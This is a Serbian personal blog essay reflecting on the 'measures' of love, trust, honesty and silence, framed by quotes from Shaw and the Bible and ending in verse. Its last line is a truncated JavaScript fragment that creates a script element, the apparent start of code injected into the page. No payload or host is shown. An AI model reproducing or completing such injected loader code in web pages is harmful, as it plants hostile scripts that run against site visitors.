Mere i odmeravanja…

Jedini čovek koji se ponaša razumno je moj šnajder. On mi svaki put uzima meru iznova, dok svi ostali uvek primenjuju mere od ranije.

Džordž Bernard Šo

Ne sudi i ne mjeri drugima, jer kojim sudom sudiš i kojom mjerom mjeriš – biće ti suđeno.

Biblija, Novi zavet

Neki od vas već su pročitali ovaj tekst. Ipak, učinilo mi se da je za mene ponovo postao aktuelan, pa ću ga kopirati, izmeniti i dopisati… Onako kako smatram da treba. U ostalom, moj je. Imam pravo da ispravim sve greške.

Kako bi bilo lepo da, po nekad, za neke od onih koje smo voleli, za neke od onih koje volimo, za neke koje bi želeli da volimo, prosto uzmemo meru… i zamrznemo se.

Koliko bih se sigurnije osećao kada bih znao ‘meru’ usana koje mi dišu u vrat. Meru dubine očiju, meru količine parfema… Meru iskrenosti. Meru poverenja. Meru ljubavi, meru blizine. Meru otvorenosti. Meru dužine ćutanja… Broj plišanih igračaka. Taj broj je uvek nekako tri. Ali ne znam zašto. Treba izmeriti i nivo licemerja, nivo tišine, nivo patetike – one koju smo spremni da trpimo i one koju sami stvaramo.

Kako bih voleo da znam konačnu meru, konačnu granicu, crtu ispod koje nisam spreman da idem da saznam šta je iza tih očiju u koje gledam. Voleo bih da znam meru istine u onome što slušam i meru osmeha, koji umem da zamislim. Treba mi i konačna mera onoga što sam spreman da istrpim, samo zato što umem da volim. Ili je ispravno reći, zato što moram da volim? Značilo bi mi kada bih znao i koja je mera samoće koju sam spreman da podnesem. Možda bih tada svhvatio koliko sam jak… ili slab.

Ali, mere reklo bi se nikada nisu iste. Jer, nismo se zamrzli? Nekad poželim da jesmo. I da me ništa ne pitaš. Prosto nastaviš tamo gde smo stali. Ali, moram da merim prema novim merama…Tako mi je rečeno. Stare valjda nisu bile dovoljno dobre…?

Zašto je toliko teško prihvatiti stare dobre mere? One koje su valjale u jednom momentu. Zašto, uvek, mora drugačije? Ili se to samo meni dešava. Ne verujem. Zašto je uvek lakše živeti u strahu od razočarenja, nego prihvatiti izazov poverenja i oslonca? Zašto se svi toliko plašimo pada, ako smo već naučili da iznova ustajemo?

„Dakle, ona je mesto gde grešne misli odlaze da umru…“

Da, tebi govorim.

Ovo je bila poslednja rečenica, moja poslednja izjava, u ovom starom tekstu. Pisanom po starim merama. Po starim osećajima i vrednostima. Nisam znao gde si. Nisam znao kako se zoveš. Da li je sada lakše? Videćemo. Vreme će kao i uvek to sigurno pokazati. Prija mi tišina, ako na kraju te tišine postoji neko. To je već odavno jasno. Lakše mi je kada imam s kim ćutati.

Da, i dalje tebi govorim. Čućeš, ali da li ćeš želeti da upamtiš? Da li će vredeti što čuješ? Videćemo. Vreme će pokazati. Svo ono vreme koje nam jeste dato. Njega smo do sada imali, na njega jedino nismo obraćali pažnju.

Koliko ćutanja traje jedna godina?

Ja neću imati s kim ostati mlad ako svi ostarite

I ta će mi mladost tesko pasti.

A bit’ će ipak da ste vi u pravu

Jer sam sam na ovoj obali

Koju ste napustili i predali bezvoljno…

var d=document;var s=d.createElement(‘script’);